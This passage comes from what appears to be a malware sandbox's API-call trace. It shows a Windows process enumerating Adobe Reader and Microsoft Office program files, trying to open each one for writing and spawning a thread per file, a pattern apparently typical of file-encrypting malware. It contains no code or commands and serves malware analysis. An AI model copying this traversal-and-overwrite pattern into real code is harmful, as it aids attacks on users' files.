[0167.063] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e78c8) returned 1 Thread: id = 5003 os_tid = 0xe00 [0162.708] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-3" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-3")) returned 0x20 [0167.039] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-3", dwFileAttributes=0x20) returned 0 [0167.039] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-3" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-3"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0167.039] GetLastError () returned 0x5 [0167.039] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-3", dwFileAttributes=0x20) returned 0 [0167.039] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8378) returned 1 Thread: id = 5004 os_tid = 0xe04 [0162.708] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-4" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-4")) returned 0x20 [0166.471] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-4", dwFileAttributes=0x20) returned 0 [0166.471] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-4" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-4"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0167.062] GetLastError () returned 0x5 [0167.062] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-4", dwFileAttributes=0x20) returned 0 [0167.062] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e6ea8) returned 1 Thread: id = 5005 os_tid = 0xe08 [0162.708] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-5" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-5")) returned 0x20 [0165.833] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-5", dwFileAttributes=0x20) returned 0 [0165.833] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-5" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-5"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0166.785] GetLastError () returned 0x5 [0166.785] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-5", dwFileAttributes=0x20) returned 0 [0166.785] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e6998) returned 1 Thread: id = 5006 os_tid = 0xe10 [0162.709] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-GBK-EUC" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-gbk-euc")) returned 0x20 [0164.621] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-GBK-EUC", dwFileAttributes=0x20) returned 0 [0164.621] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-GBK-EUC" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-gbk-euc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0164.622] GetLastError () returned 0x5 [0164.622] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-GBK-EUC", dwFileAttributes=0x20) returned 0 [0164.622] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ae388) returned 1 Thread: id = 5007 os_tid = 0xe18 [0162.709] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-GBpc-EUC" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-gbpc-euc")) returned 0x20 [0167.075] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-GBpc-EUC", dwFileAttributes=0x20) returned 0 [0167.075] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-GBpc-EUC" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-gbpc-euc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0167.075] GetLastError () returned 0x5 [0167.075] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-GBpc-EUC", dwFileAttributes=0x20) returned 0 [0167.075] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ad668) returned 1 Thread: id = 5008 os_tid = 0xe1c [0162.710] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-H-CID" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-h-cid")) returned 0x20 [0167.073] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-H-CID", dwFileAttributes=0x20) returned 0 [0167.073] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-H-CID" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\adobe-gb1-h-cid"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0167.074] GetLastError () returned 0x5 [0167.074] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\Adobe-GB1-H-CID", dwFileAttributes=0x20) returned 0 [0167.074] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ac7c0) returned 1 Thread: id = 5009 os_tid = 0xe20 [0162.710] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x93bdb0 [0162.710] wcscpy (in: _Dest=0x93bdb0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0162.710] wcscat (in: _Dest=0x93bdb0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0162.710] wcscat (in: _Dest=0x93bdb0, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\*" [0162.710] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x91f968 [0162.710] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\*", lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59d27370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6ce49790, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da4d0 [0165.260] wcscmp (_String1=".", _String2=".") returned 0 [0165.260] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59d27370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6ce49790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6ce49790, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.260] wcscmp (_String1="..", _String2=".") returned 1 [0165.260] wcscmp (_String1="..", _String2="..") returned 0 [0165.260] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb180a100, ftCreationTime.dwHighDateTime=0x1ca10e6, ftLastAccessTime.dwLowDateTime=0x59d27370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb180a100, ftLastWriteTime.dwHighDateTime=0x1ca10e6, nFileSizeHigh=0x0, nFileSizeLow=0xfb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL001.XML", cAlternateFileName="")) returned 1 [0165.260] wcscmp (_String1="PGLBL001.XML", _String2=".") returned 1 [0165.260] wcscmp (_String1="PGLBL001.XML", _String2="..") returned 1 [0165.260] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e6cf8 [0165.260] wcscpy (in: _Dest=0x8e6cf8, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0165.260] wcscat (in: _Dest=0x8e6cf8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0165.260] wcscat (in: _Dest=0x8e6cf8, _Source="PGLBL001.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL001.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL001.XML" [0165.973] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e6cf8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1114 [0165.974] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61d99800, ftCreationTime.dwHighDateTime=0x1ca1a4b, ftLastAccessTime.dwLowDateTime=0x59d27370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61d99800, ftLastWriteTime.dwHighDateTime=0x1ca1a4b, nFileSizeHigh=0x0, nFileSizeLow=0x15b1fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL002.XML", cAlternateFileName="")) returned 1 [0165.974] wcscmp (_String1="PGLBL002.XML", _String2=".") returned 1 [0165.975] wcscmp (_String1="PGLBL002.XML", _String2="..") returned 1 [0165.975] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e6ab8 [0165.975] wcscpy (in: _Dest=0x8e6ab8, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0165.975] wcscat (in: _Dest=0x8e6ab8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0165.975] wcscat (in: _Dest=0x8e6ab8, _Source="PGLBL002.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL002.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL002.XML" [0165.975] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e6ab8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1048 [0165.976] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c7ce900, ftCreationTime.dwHighDateTime=0x1c9f4a3, ftLastAccessTime.dwLowDateTime=0x5a340bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2c7ce900, ftLastWriteTime.dwHighDateTime=0x1c9f4a3, nFileSizeHigh=0x0, nFileSizeLow=0x33a1a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL010.XML", cAlternateFileName="")) returned 1 [0165.976] wcscmp (_String1="PGLBL010.XML", _String2=".") returned 1 [0165.976] wcscmp (_String1="PGLBL010.XML", _String2="..") returned 1 [0165.976] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e7cb8 [0165.976] wcscpy (in: _Dest=0x8e7cb8, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0165.976] wcscat (in: _Dest=0x8e7cb8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0165.976] wcscat (in: _Dest=0x8e7cb8, _Source="PGLBL010.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL010.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL010.XML" [0165.976] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7cb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x136c [0165.977] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x632f2e00, ftCreationTime.dwHighDateTime=0x1c66206, ftLastAccessTime.dwLowDateTime=0x5a340bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x632f2e00, ftLastWriteTime.dwHighDateTime=0x1c66206, nFileSizeHigh=0x0, nFileSizeLow=0x1390, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL011.XML", cAlternateFileName="")) returned 1 [0165.977] wcscmp (_String1="PGLBL011.XML", _String2=".") returned 1 [0165.977] wcscmp (_String1="PGLBL011.XML", _String2="..") returned 1 [0165.977] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e7568 [0165.977] wcscpy (in: _Dest=0x8e7568, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0165.977] wcscat (in: _Dest=0x8e7568, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0165.977] wcscat (in: _Dest=0x8e7568, _Source="PGLBL011.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL011.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL011.XML" [0165.977] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7568, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x948 [0165.978] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9dea2700, ftCreationTime.dwHighDateTime=0x1ca1b37, ftLastAccessTime.dwLowDateTime=0x6cdfd4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9dea2700, ftLastWriteTime.dwHighDateTime=0x1ca1b37, nFileSizeHigh=0x0, nFileSizeLow=0xa5178, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL012.XML", cAlternateFileName="")) returned 1 [0165.978] wcscmp (_String1="PGLBL012.XML", _String2=".") returned 1 [0165.979] wcscmp (_String1="PGLBL012.XML", _String2="..") returned 1 [0165.979] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e8138 [0165.979] wcscpy (in: _Dest=0x8e8138, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0165.979] wcscat (in: _Dest=0x8e8138, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0165.979] wcscat (in: _Dest=0x8e8138, _Source="PGLBL012.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL012.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL012.XML" [0165.979] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8138, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13a0 [0165.980] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca994100, ftCreationTime.dwHighDateTime=0x1ca1b2d, ftLastAccessTime.dwLowDateTime=0x6cdfd4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca994100, ftLastWriteTime.dwHighDateTime=0x1ca1b2d, nFileSizeHigh=0x0, nFileSizeLow=0x22cf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL016.XML", cAlternateFileName="")) returned 1 [0165.980] wcscmp (_String1="PGLBL016.XML", _String2=".") returned 1 [0165.980] wcscmp (_String1="PGLBL016.XML", _String2="..") returned 1 [0165.980] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e7f88 [0165.980] wcscpy (in: _Dest=0x8e7f88, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0165.980] wcscat (in: _Dest=0x8e7f88, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0165.980] wcscat (in: _Dest=0x8e7f88, _Source="PGLBL016.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL016.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL016.XML" [0165.980] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7f88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18a8 [0165.981] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9ac00, ftCreationTime.dwHighDateTime=0x1c6c1cc, ftLastAccessTime.dwLowDateTime=0x5a340bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69d9ac00, ftLastWriteTime.dwHighDateTime=0x1c6c1cc, nFileSizeHigh=0x0, nFileSizeLow=0x101bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL020.XML", cAlternateFileName="")) returned 1 [0165.981] wcscmp (_String1="PGLBL020.XML", _String2=".") returned 1 [0165.981] wcscmp (_String1="PGLBL020.XML", _String2="..") returned 1 [0165.981] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e74d8 [0165.981] wcscpy (in: _Dest=0x8e74d8, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0165.981] wcscat (in: _Dest=0x8e74d8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0165.981] wcscat (in: _Dest=0x8e74d8, _Source="PGLBL020.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL020.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL020.XML" [0165.981] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e74d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1470 [0165.983] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93746100, ftCreationTime.dwHighDateTime=0x1ca1b28, ftLastAccessTime.dwLowDateTime=0x6cdfd4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93746100, ftLastWriteTime.dwHighDateTime=0x1ca1b28, nFileSizeHigh=0x0, nFileSizeLow=0x24c9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL022.XML", cAlternateFileName="")) returned 1 [0165.983] wcscmp (_String1="PGLBL022.XML", _String2=".") returned 1 [0165.983] wcscmp (_String1="PGLBL022.XML", _String2="..") returned 1 [0165.983] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e6638 [0165.983] wcscpy (in: _Dest=0x8e6638, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0165.983] wcscat (in: _Dest=0x8e6638, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0165.983] wcscat (in: _Dest=0x8e6638, _Source="PGLBL022.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL022.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL022.XML" [0165.983] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e6638, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1124 [0165.984] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x632f2e00, ftCreationTime.dwHighDateTime=0x1c66206, ftLastAccessTime.dwLowDateTime=0x6cdfd4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x632f2e00, ftLastWriteTime.dwHighDateTime=0x1c66206, nFileSizeHigh=0x0, nFileSizeLow=0x1f4e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL026.XML", cAlternateFileName="")) returned 1 [0165.984] wcscmp (_String1="PGLBL026.XML", _String2=".") returned 1 [0165.984] wcscmp (_String1="PGLBL026.XML", _String2="..") returned 1 [0165.984] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e7448 [0165.984] wcscpy (in: _Dest=0x8e7448, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0165.984] wcscat (in: _Dest=0x8e7448, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0165.985] wcscat (in: _Dest=0x8e7448, _Source="PGLBL026.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL026.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL026.XML" [0165.985] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e7448, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a3c [0165.986] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54389200, ftCreationTime.dwHighDateTime=0x1c9f606, ftLastAccessTime.dwLowDateTime=0x5a340bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54389200, ftLastWriteTime.dwHighDateTime=0x1c9f606, nFileSizeHigh=0x0, nFileSizeLow=0x6d7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL027.XML", cAlternateFileName="")) returned 1 [0165.986] wcscmp (_String1="PGLBL027.XML", _String2=".") returned 1 [0165.986] wcscmp (_String1="PGLBL027.XML", _String2="..") returned 1 [0165.986] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e81c8 [0165.986] wcscpy (in: _Dest=0x8e81c8, _Source="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE" [0165.986] wcscat (in: _Dest=0x8e81c8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\" [0165.986] wcscat (in: _Dest=0x8e81c8, _Source="PGLBL027.XML" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL027.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL027.XML" [0165.986] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e81c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe10 [0165.987] FindNextFileW (in: hFindFile=0x8da4d0, lpFindFileData=0x91f968 | out: lpFindFileData=0x91f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b28800, ftCreationTime.dwHighDateTime=0x1c9e3fe, ftLastAccessTime.dwLowDateTime=0x6cdfd4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b28800, ftLastWriteTime.dwHighDateTime=0x1c9e3fe, nFileSizeHigh=0x0, nFileSizeLow=0x266a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PGLBL044.XML", cAlternateFileName="")) returned 1 [0165.987] wcscmp (_String1="PGLBL044.XML", _String2=".") returned 1 [0165.987] wcscmp (_String1="PGLBL044.XML", _String2="..") returned 